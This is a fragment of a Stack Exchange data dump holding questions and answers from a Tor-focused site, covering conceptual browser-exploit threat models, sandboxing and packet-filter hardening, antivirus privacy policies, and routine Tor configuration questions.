  <row Id="12614" PostTypeId="2" ParentId="12612" CreationDate="2016-09-14T21:29:01.023" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;There are exceptions like the &lt;a href=&quot;https://blog.torproject.org/blog/tor-security-advisory-relay-early-traffic-confirmation-attack+&quot; rel=&quot;nofollow&quot;&gt;CMU snitch attack&lt;/a&gt; where they did stunt hacking to seem cool infront of their hacker friends and in the process sold out a bunch of people out to law enforcment agencies around the world, which was an attack on the network itself. Other common vectors though are things like misconfiguration (people allowing flash) or user error (people doxing themselves). There are about 2 known cases of exploitation of the browser directly, Freedom Hosting which, when first discovered was already patched and Playpen which was probably 0day but we don't know for certain.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;No. I know it's tempting to imagine it's the case and it is helpful, it's useful to have defense in-depth but imagine I'm some adversary in a hypothetical scenario where I can ignore any legal protections, or they can be wrangled around or I can make the case that they should be waived. Now I manage to compromise your browser with some exploit, I can execute code in the context of your user. You're using a packet filter that stops me connecting to anything except the Tor network. Your first problem is I can still steal all your documents and do anything that the user running the browser can even if I can't leave the network directly, I can still exfiltrate the data over Tor. It doesn't stop me from stealing any potentially personally identifying information that I can find after I've exploited you (e.g. hardware serial numbers and identifiers and personal documents). The second problem is that I can still connect to the entry guard and I can still connect to the directory authorities. This leaves a covert signalling channel, if I can make arbitrary connections to them I can signal to one of my reachable endpoints information, lets say an unique identifier attached to the exploit. If I was able to coerce or compromise the upstream ISP of one of the dirauths, I could watch for this signal and read the covert channel, exfiltrate the data over Tor itself and match it to which payload was dropped. I'd still have all the data I have, your real IP, your MAC address and where the payload was deployed from (e.g. what you were doing).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;There are better approaches, namely enforcing Tor outside of the reach of the user that the browser is running is. This can be achieved by running Tor as a distinct user, allowing that user to connect to the internet and then only allowing the user that the browser runs as to connect to the tor instance, never any external connections. This way if someone attacks the browser (or other application the user is using over Tor) they won't be able to make a direct connection, this means they can't reveal the real IP address of the user to some external observer (problem two in item 2 above). This also works around some of the other problems that haven't been touched on yet, like the fallback directory servers that are a new feature (its not just dirauths you might fetch from) or unexpectedly breaking your connectivity and having to reconfigure your packet filter when you rotate guards. This can be achieved locally as in Tails or Subgraph or through an upstream tor enforcing proxy by using something like PORTAL, Whonix or Qubes TorAppVM. Note that this still doesn't solve problem one of item 2, I can still exfiltrate data over Tor so if the browser can access potentially personally identifying data then you might still have a bad day.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;tl;dr packet filters aren't a panacea but they can break some attacks and are generally a good idea as part of a layered defence.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;4&quot;&gt;&#xA;&lt;li&gt;(Follow-up) In theory yes, note that in 3 I touched on the issue of fallback directory servers, these are a new idea to take some of the load off of directory authorities, these too may need to be allowed in your network policy. The only time you'd need to make those direct connections to authorities is during the initial bootstrapping to learn about the rest of the network (potentially if you'd been offline for a while and had a very stale consensus document? unsure on this one), once you have the rest of the network you can use other (non-authoritative) directory servers to fetch updates to the consensus. This disperses the load. An except to this (that might interest you) is the use of bridges. Since a censor can know and easily block direct connections to the directory authorities during the initial bootstrap of a Tor client, bridge connections use a concept of directory guards, essentially using the bridge as an initial hop onto the network. Using a bridge would mean that you'd only ever need to allow connections out to a &lt;em&gt;single&lt;/em&gt; IP/Port (for the duration of the bridges lifetime). You may then have to take on the task of potentially rotating your &quot;guard&quot; bridge (guard rotation is a big topic in itself), if required.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For the record, I have no respect for the three letter agencies and many of the people caught up in the &quot;stings&quot; had done &lt;em&gt;nothing wrong or illegal&lt;/em&gt;. Freedom Hosting may have been hosting content that was illegal but not all of their services were illegal and users of the services had no way of knowing that other services hosted at the same place their service was were illegal. Guilt by association is bullshit, by that line of moral weaselwording we should charge the entire Secret Service and the DEA for the greed and corruption of Mark Force and Shaun Bridges (and possibly other conspirators). And the CMU attack, attacked &lt;em&gt;everyone&lt;/em&gt; indiscriminately. Your resting your laurels that it's okay because they caught &quot;bad people&quot; in the &quot;sting&quot; as a justification of it and not being something you should be concerned about as a way of enforcing law is clearly misguided. To invoke Godwin's Law, I'm sure some of the people killed during the Holocaust were legitimately bad people too. EOF.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Using the &quot;child abuse&quot; argument is &lt;a href=&quot;http://www.thedailybeast.com/articles/2016/05/06/nsa-won-t-say-how-many-spies-have-child-porn.html&quot; rel=&quot;nofollow&quot;&gt;throwing stones from a glass house&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-09-16T07:45:54.910" LastActivityDate="2016-09-16T07:45:54.910" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12616" PostTypeId="2" ParentId="12608" CreationDate="2016-09-15T00:12:33.190" Score="2" Body="&lt;p&gt;Alright, he's a hacky way I cobbled together (currently if I want a hardened environment, I use &lt;a href=&quot;https://subgraph.com/sgos/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Subgraph OS&lt;/a&gt; which does all of this in a pretty transparent manner through &lt;a href=&quot;https://github.com/subgraph/oz&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;Oz&lt;/code&gt;&lt;/a&gt;, it's still in beta testing but it's likely better tested than my own version, which will need some tweaking) when I run under Arch Linux, first of all it's also done from a grsec/pax kernel to frustrate exploitation and attacks against the kernel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; Adding recommendations beyond Firejail because, frankly, Firejail is janky and unworthy of trust &lt;em&gt;(it fails open, as an example of it's betrayal...).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Update 2:&lt;/strong&gt; My mistrust in Firejail seems to be vindicated &lt;a href=&quot;http://seclists.org/oss-sec/2017/q1/20&quot; rel=&quot;nofollow noreferrer&quot;&gt;by various vulnerabilties that result in privilege escalation&lt;/a&gt;. Luckily, Yawning's sandbox code is now in alpha testing, what it provides can be read &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/doc/TorBrowser/Sandbox/Linux&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and the code is &lt;a href=&quot;https://gitweb.torproject.org/tor-browser/sandboxed-tor-browser.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. As such I'm removing all firejail documentation.&lt;/p&gt;&#xA;&lt;p&gt;One of the Tor Developers is working on creating a sandbox for Tor Browser based around a lot of these principles and technologies, except it's going to be better and less hacky than my script below but probably not as extensive as Subgraph or Qubes.&lt;/p&gt;&#xA;&lt;p&gt;There is Q&amp;amp;A about Yawning's Bubblewrap Tor Browser sandboxing efforts available &lt;a href=&quot;https://blog.torproject.org/blog/q-and-yawning-angel&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; and the code for the sandboxing tool is &lt;a href=&quot;https://github.com/projectatomic/bubblewrap&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Yawning's code is now released, it creates two sandbox environments. One for Tor Browser and another for the Tor daemon. It handles downloading and verifying the Tor Browser, as well as updating it.&lt;/p&gt;&#xA;&lt;p&gt;Note that this doesn't address the issues of lateral movement within an X session (any X application can access any other application within the same X session), so you may wish to take extra steps like using &lt;code&gt;Xephyr&lt;/code&gt; or &lt;code&gt;xpra&lt;/code&gt; to run a nested X instance to launch the browser inside.&lt;/p&gt;&#xA;&lt;p&gt;Google also recently gave a talk at a Linux conference about a similar tool they produced to lock down service daemons on Chrome OS, called &lt;a href=&quot;https://www.linux.com/news/minijail-googles-tool-safely-run-untrusted-programs&quot; rel=&quot;nofollow noreferrer&quot;&gt;minijail&lt;/a&gt; which also utilises many of the same features of modern Linux kernels.&lt;/p&gt;&#xA;&lt;p&gt;Arch Linux has a tool called &lt;a href=&quot;https://github.com/thestinger/playpen&quot; rel=&quot;nofollow noreferrer&quot;&gt;playpen&lt;/a&gt; available from the community repos, which works with similar ideas but from inside a chroot, maintained by one of the Copperhead developers.&lt;/p&gt;&#xA;&lt;h3&gt;Other things to consider&lt;/h3&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Using a &lt;a href=&quot;https://github.com/mutantmonkey/filtor&quot; rel=&quot;nofollow noreferrer&quot;&gt;Control Port filter&lt;/a&gt; to block the majority of functionality of the control port from Tor Browser.&lt;/li&gt;&#xA;&lt;li&gt;Using a nested X instance.&lt;/li&gt;&#xA;&lt;li&gt;Using a hardened kernel.&lt;/li&gt;&#xA;&lt;li&gt;Using a paravirtualized virtual machine to reduce hardware fingerprinting.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2017-01-16T01:27:22.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12617" PostTypeId="2" ParentId="12609" CreationDate="2016-09-15T00:44:55.440" Score="2" Body="&lt;p&gt;&lt;code&gt;obfs4proxy&lt;/code&gt; can probably be made to work, but as far as I know, the Go toolchain used for the bundle builds does not go through the extra hoops required to do this.  Specifically, you need to compile obfs4proxy with a Go that's built with &lt;code&gt;GO386=387&lt;/code&gt; or it will generate SSE2 code, since the only processors that reject that are at least a decade old.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/golang/go/issues/8152&quot; rel=&quot;nofollow&quot;&gt;https://github.com/golang/go/issues/8152&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2016-09-15T00:44:55.440" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12618" PostTypeId="2" ParentId="7047" CreationDate="2016-09-15T03:12:06.507" Score="0" Body="&lt;p&gt;For some reason windows vista blocks installers like Tor and Utorrent.&#xA;All you need to do is right click it. &#xA;Select &quot;Properties&quot;--&gt; &quot;Unblock&quot; at the bottom right--&gt;&quot;apply&quot;--&gt;&quot;okay&quot;&#xA;Then you can run it!&lt;/p&gt;&#xA;" OwnerUserId="14335" LastEditorUserId="88" LastEditDate="2016-09-15T14:12:42.143" LastActivityDate="2016-09-15T14:12:42.143" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12619" PostTypeId="1" CreationDate="2016-09-15T08:49:03.773" Score="0" ViewCount="75" Body="&lt;p&gt;Can I use a text file instead for &lt;code&gt;ip,ip,ip&lt;/code&gt; as a ExitNode? Like &lt;code&gt;ExitNodes torlist.txt&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of &lt;code&gt;Exitnodes ip,ip,ip&lt;/code&gt; I want too use like ... Exitnodes -f toriplist.txt or something&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any ideas?&lt;/p&gt;&#xA;" OwnerUserId="14337" LastEditorUserId="88" LastEditDate="2016-09-15T09:45:15.323" LastActivityDate="2016-10-16T18:31:20.880" Title="Can i use a text file instead for ip,ip,ip as a ExitNode? Like ExitNodes torlist.txt" Tags="|configuration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12620" PostTypeId="2" ParentId="12619" CreationDate="2016-09-15T10:16:41.553" Score="1" Body="&lt;p&gt;It is not possible to write &lt;code&gt;exitpolicy filename&lt;/code&gt;. But there are several ways you can go:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You can enter your list of IPs as a command line option: &lt;code&gt;tor -ExitNodes $(cat list_of_ips)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Another way is to create a &lt;code&gt;torrc&lt;/code&gt; and start Tor with that &lt;code&gt;torrc&lt;/code&gt;. So assume there is a &lt;code&gt;torrc.template&lt;/code&gt; and a &lt;code&gt;list_of_ips&lt;/code&gt;. So you can do something like &lt;code&gt;cat torrc.template list_of_ips &amp;gt; torrc &amp;amp;&amp;amp; tor -f torrc&lt;/code&gt;. Whenever your &lt;code&gt;list_of_ips&lt;/code&gt; changes you re-create the &lt;code&gt;torrc&lt;/code&gt; and restart the Tor process (or send a HUP).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="88" LastEditorUserId="88" LastEditDate="2016-09-15T15:28:34.887" LastActivityDate="2016-09-15T15:28:34.887" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12621" PostTypeId="1" CreationDate="2016-09-15T14:01:16.180" Score="0" ViewCount="11124" Body="&lt;p&gt;I just want to know whether the server which I am browsing can know my IP address or not ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not doing any thing illegal I am just operating a blog, and I don't want anyone to know who is operating the blog. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lets assume that the blog hosting owner (or server admin) is willing to find my IP address; can he find it? &#xA;(I use Tor Browser all the time)&lt;/p&gt;&#xA;" OwnerUserId="14341" LastEditorUserId="12240" LastEditDate="2016-09-16T07:38:28.987" LastActivityDate="2016-09-16T07:38:28.987" Title="Can the server know my IP address via Tor Browser?" Tags="|tor-browser-bundle|ip-address|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12622" PostTypeId="2" ParentId="12621" CreationDate="2016-09-15T14:45:01.447" Score="2" Body="&lt;p&gt;When using Tor, the server should only see the IP from the Tor exit node. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, your IP could still be leaked in various ways, such as using the same account with and without Tor, using plug-ins such as Flash Player, and so on. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This page has a good overview of how Tor works: &lt;a href=&quot;https://www.torproject.org/about/overview&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/about/overview&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-15T14:45:01.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12627" PostTypeId="1" CreationDate="2016-09-16T15:01:25.153" Score="5" ViewCount="5689" Body="&lt;p&gt;I would like to run Tor on my Mac, such that another program (a Ruby script) can make HTTP requests through my running Tor process.  I installed via &amp;quot;sudo port install tor&amp;quot; and then launched tor like so&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;tor --CookieAuthentication 0 --HashedControlPassword &amp;quot;&amp;quot; --ControlPort 9050 --SocksPort 50001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I'm confused about the difference between &lt;code&gt;ControlPort&lt;/code&gt; and &lt;code&gt;SocksPort&lt;/code&gt;.  In my script, should I be connecting to &lt;code&gt;127.0.0.1:9050&lt;/code&gt; or to &lt;code&gt;127.0.0.1:50001&lt;/code&gt;?&lt;/p&gt;&#xA;&lt;p&gt;Thanks, -&lt;/p&gt;&#xA;" OwnerUserId="14348" LastEditorUserId="28671" LastEditDate="2022-12-01T12:31:14.260" LastActivityDate="2022-12-01T12:31:14.260" Title="What's the difference between ControlPort and SocksPort" Tags="|socks|proxy|torsocks|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="12628" PostTypeId="1" AcceptedAnswerId="12636" CreationDate="2016-09-16T16:17:55.407" Score="2" ViewCount="1305" Body="&lt;p&gt;I have Malwarebytes Anti-Exploit on my system. Is it safe to use it with Tor?&lt;/p&gt;&#xA;" OwnerUserId="14187" LastEditorUserId="14187" LastEditDate="2016-09-16T20:23:59.933" LastActivityDate="2016-09-17T00:27:49.720" Title="Is it safe to use Tor with Malwarebytes Anti-Exploit?" Tags="|security|malware|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12632" PostTypeId="2" ParentId="12627" CreationDate="2016-09-16T19:04:24.183" Score="4" Body="&lt;p&gt;The control port is used for controlling Tor, usually via other software like Arm. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Socks port is the port running as a SOCKS5 proxy. This is the one you want to use. Please note that Tor is not an HTTP proxy, so your script will need to be configured to use a SOCKS5 proxy. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-16T19:04:24.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12636" PostTypeId="2" ParentId="12628" CreationDate="2016-09-17T00:27:49.720" Score="4" Body="&lt;p&gt;Alright this was going to be a comment but no one has really addressed this and it's a pet peeve of mine, so...&lt;/p&gt;&#xA;&lt;p&gt;Generally speaking anti-virus protects you from known threats, they provide signature based, heuristic and now even sandboxed execution to try to uncover &amp;quot;malicious&amp;quot; behaviour in applications. These aren't difficult to bypass and infact there is a market in simple commercial products that can take a bit of known malware and transform it and pack it such that it will be &lt;a href=&quot;https://en.wikipedia.org/wiki/Fully_undetectable&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Fully Undetectable&amp;quot;&lt;/a&gt;. (As an aside, if you want to actually improve resistance to exploitation on Windows, consider Microsofts own product &lt;a href=&quot;https://en.wikipedia.org/wiki/Enhanced_Mitigation_Experience_Toolkit&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;EMET&amp;quot;&lt;/a&gt; which is, in all honesty, probably better designed and engineered.)&lt;/p&gt;&#xA;&lt;p&gt;So, the possible security issues aside, issue two is that files that it scans could potentially be fed back to the antivirus company. You are the product, their threat intelligence comes from watching their users get attacked then retroactively trying to fix it, from their &lt;a href=&quot;https://www.malwarebytes.com/eula/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EULA&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;7. Privacy Policy.&lt;/h3&gt;&#xA;&lt;p&gt;By entering into this Agreement you agree to the terms of Malwarebytes' privacy policy, which can be found at &lt;a href=&quot;https://www.malwarebytes.com/privacy/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.malwarebytes.com/privacy/&lt;/a&gt; (as may be updated from time to time, the &amp;quot;Privacy Policy&amp;quot;). More information concerning what data is collected and used by Malwarebytes and how it is used is available in the Privacy Policy. Without limiting the Privacy Policy, &lt;strong&gt;you agree that Malwarebytes may track certain data it obtains from your Device, including data about&lt;/strong&gt; any malicious software, exploits or other threats flagged by the Software (including but not limited to potential sources of such threats, such as payload files, file format and &lt;strong&gt;recent URL's visited&lt;/strong&gt;), data about your license, data about what version of the Software you are using and what operating conditions it runs under and &lt;strong&gt;data concerning your geographic location&lt;/strong&gt;. This information is collected and used for the purpose of tracking malicious software, exploits and other threats, and evaluating and improving Malwarebytes' products and services. &lt;strong&gt;We may share data relating to malicious software, exploits or other threats flagged by the Software with third parties&lt;/strong&gt;. In the event that any user who operates the Software as permitted under this Agreement (including, if you are a Malwarebytes for Business customer, your Authorized Users) makes a complaint or claim based on the tracking or collection of data in accordance with this Section 6, you agree that you are solely responsible for addressing any such complaints or claims.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So they may be watching everything you are doing on Tor Browser and recording it and sharing it with Third Parties. But who are these third parties?&lt;/p&gt;&#xA;&lt;p&gt;From their Privacy Policy:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h3&gt;Governmental; Law Enforcement&lt;/h3&gt;&#xA;&lt;p&gt;We may disclose PII to government agencies, law enforcement officials, and private parties as we, in our sole discretion, believe necessary: (1) to satisfy or comply with any applicable law, regulation or legal process; (2) to respond to lawful requests, including subpoenas, warrants or court orders; (3) to protect our property, rights and safety and the rights, property and safety of third parties or the public in general; and (4) &lt;strong&gt;to prevent or stop activity we consider to be illegal or unethical.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So they'll sell you out to governmental agencies and law enforcement if they don't like the cut of your jib.&lt;/p&gt;&#xA;&lt;p&gt;As a hypothetical, lets say I am some government or law enforcment agency. I want to catch you out so I embed some content into a webpage that matches a signature in a bunch of virus products, then your antivirus captures it when you visit it or I trick you into visiting it (spear-phishing). It then logs it, submits it to them and we collect who received our payload from the AV vendor. Dox'd.&lt;/p&gt;&#xA;&lt;p&gt;Also note that, for example Trend Micro have a &lt;a href=&quot;http://www.trendmicro.co.uk/newsroom/pr/trend-micro-and-national-crime-agency-sign-cyber-crime-busting-partnership/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;Memorandum of Understanding&amp;quot; with the UKs National Crime Agency&lt;/a&gt;, about which Trend Micro say:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;The NCA will not only be able to draw on the expertise of Trend Micro’s global, 1,200-strong TrendLabs team, but the power of the &lt;strong&gt;cloud-based Smart Protection Network, which analyses over 15TB of threat data&lt;/strong&gt;, identifying and blocking more than &lt;strong&gt;250 million threats each day&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;This is likely equivalent to the &amp;quot;threat data&amp;quot; that Malwarebytes outlines in their EULA.&lt;/p&gt;&#xA;&lt;p&gt;Is it safe to use anti-virus with Tor Browser? Only if the anti-virus vendor thinks what you're doing is &amp;quot;ethical&amp;quot; (apparently they've no sense of irony...).&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="-1" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2016-09-17T00:27:49.720" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12637" PostTypeId="2" ParentId="12473" CreationDate="2016-09-17T01:22:07.110" Score="1" Body="&lt;p&gt;It's not possible to hide this from websites. Unless the website operators unblock Tor, there is nothing you can do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You said right in your question &quot;they are forbidden clones,&quot; which means you are using Tor to do something you shouldn't be doing anyway.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-17T01:22:07.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12638" PostTypeId="1" CreationDate="2016-09-17T01:38:21.237" Score="1" ViewCount="263" Body="&lt;p&gt;Some apps (specifically Orbot) do not update with newer versions of Tor, at least not right away. (Orbot is still at 0.2.7.5)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the oldest &quot;safe&quot; version of Tor, or, does it really matter that much if my Tor is slightly outdated?&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-09-17T15:20:32.470" Title="How old is too old? (Tor Versions)" Tags="|orbot|update|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12639" PostTypeId="1" CreationDate="2016-09-17T03:16:41.810" Score="0" ViewCount="904" Body="&lt;p&gt;After I start up my computer, I make sure the internet is connected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I try to start torbrowser, last upgrade was to version 6.0.4.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have problems getting it to start now.  I keep getting a pop up error that says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Tor Launcher:&#xA;  Tor failed to establish a Tor network connection.&#xA;  Connecting to the Tor network failed (no route to host - ###.###.#.###:####).&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I get this every time i start up my computer and I always have to close it down and Exit.  I will try again sometimes 2-4 times to start it before I get a connection, and sometimes it won't connect at all so I'm forced to use a different browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did not &lt;em&gt;not&lt;/em&gt; have this problem in previous versions, so for now I have gone back to version 5.0.2 and it works fine, I never get that error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please tell me if this will be fixed in a near future upgrade.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much.&lt;/p&gt;&#xA;" OwnerUserId="14360" LastEditorUserId="88" LastEditDate="2016-09-17T07:41:17.850" LastActivityDate="2021-12-22T11:03:15.333" Title="Problem starting Tor Browser 6, using Windows 7, 64-bit" Tags="|help|error|startup|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12641" PostTypeId="1" AcceptedAnswerId="12652" CreationDate="2016-09-17T09:04:50.163" Score="1" ViewCount="1450" Body="&lt;p&gt;I am running a tor relay (which has the guard flag) in my LAN at an IP like 192.168.0.103. I would like to have Tor Browser use this relay as a guard/entry node so that all the tor traffic goes through that computer (for traffic shaping).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following &lt;a href=&quot;https://tor.stackexchange.com/questions/4637/how-to-tell-my-tor-browser-to-use-a-certain-relay-as-entry-point&quot;&gt;this&lt;/a&gt; I tried using &lt;code&gt;EntryNodes&lt;/code&gt; – with the fingerprint, with local IP or with the public IP – in torrc, but it fails to connect to the network. In some cases it just keeps connecting forever, in others it gives something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;17/09/16 11:53:24.800 [NOTICE] 1 entries in guards &#xA;17/09/16 11:53:25.800 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;17/09/16 11:53:26.800 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;17/09/16 11:53:27.800 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;17/09/16 11:53:28.800 [WARN] Failed to find node for hop 0 of our path. Discarding this circuit. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, with the same fingerprint I can connect from another network (with different public IP).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do to make it work?&lt;/p&gt;&#xA;" OwnerUserId="14363" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2017-04-03T20:39:08.600" Title="How to use local relay with Tor Browser?" Tags="|tor-browser-bundle|relays|network-configuration|guard-node|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12643" PostTypeId="1" CreationDate="2016-09-17T21:41:24.920" Score="0" ViewCount="368" Body="&lt;p&gt;I was looking at my installed programs and noticed 2 programs without a publisher designation and installed on 08/21/2016. These programs are OpenVPN and TAP-Windows. Before I delete them, I wanted to know if it was installed by a TOR Browser update, and if so, are these programs necessary for using the TOR Browser?&#xA; I cannot think of any other possible way that these programs could have been installed without my consent.&lt;/p&gt;&#xA;" OwnerUserId="14369" LastActivityDate="2022-06-09T18:05:25.450" Title="OpenVPN and TAP-Windows" Tags="|openvpn|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12647" PostTypeId="1" CreationDate="2016-09-18T05:14:57.093" Score="0" ViewCount="860" Body="&lt;p&gt;When I run DISCONNECT.ME to search, it's redirected to DuckDuckGo, and if I enter an onion address, I receive a 404 error. I am new with this browser and I think that the configuration is not right.&lt;br&gt;&#xA;My torrc file have a long list of obfs4 bridges and at the end says:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DataDirectory C:\Users\M...\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor&#xA;GeoIPFile C:\Users\M...\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip&#xA;GeoIPv6File C:\Users\M...\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\geoip6&#xA;HiddenServiceStatistics 0&#xA;UseBridges 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Circuit actually is stackexchange.com with a bridge obfs4of Sweden and IP from U.S.A. and Netherlands&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I included Tor in the Firewall, but I think that anyway is being blocked somehow or somewhere. Please tell me in detail how to configure the browser and the PC, including opening the ports for use it. I want to go to the darknet and .onion places.&lt;/p&gt;&#xA;" OwnerUserId="14375" LastEditorDisplayName="user5" LastEditDate="2016-09-22T03:55:15.113" LastActivityDate="2016-09-22T03:55:15.113" Title="I can't use the Tor search, or go to darknet" Tags="|configuration|windows|help|blocked|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12648" PostTypeId="1" AcceptedAnswerId="12653" CreationDate="2016-09-18T06:14:46.500" Score="0" ViewCount="145" Body="&lt;p&gt;I was just reading about security risks associated with the referrer field and the ticket generated on Tor to probably disable it for anonymity. But I don't really understand the security risks. I have two questions, both concerning the unlinkability property in anonymization.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario 1:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's say I'm using Tor and I go to site A and we are both using HTTPS. The communication between my computer till Exit Node is encrypted by Tor and from Exit Node to website is encrypted using HTTPS. No one can know I'm visiting website A and website A doesn't know my identity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I go from website A to B, website B will know I came from A due to the referrer field. But it wouldn't know my identity. So no linkability. How would this jeopardize my anonymity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Scenario 2:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Consider Scenario 1 using HTTP. Now data sent should be considered compromised as any one can see it between Exit Node and Website A. But what about my identity? If I don't reveal my identity in the data, they don't know with whom to associate it with. So still no linkability. Am I right?&lt;/p&gt;&#xA;" OwnerUserId="14376" LastEditorUserId="14376" LastEditDate="2016-09-18T10:18:45.637" LastActivityDate="2016-09-18T14:52:29.243" Title="Anonymity considerations of HTTP referer field" Tags="|anonymity|security|deanonymization|https|" AnswerCount="1" CommentCount="1" ClosedDate="2016-09-19T09:52:38.377" ContentLicense="CC BY-SA 3.0" />
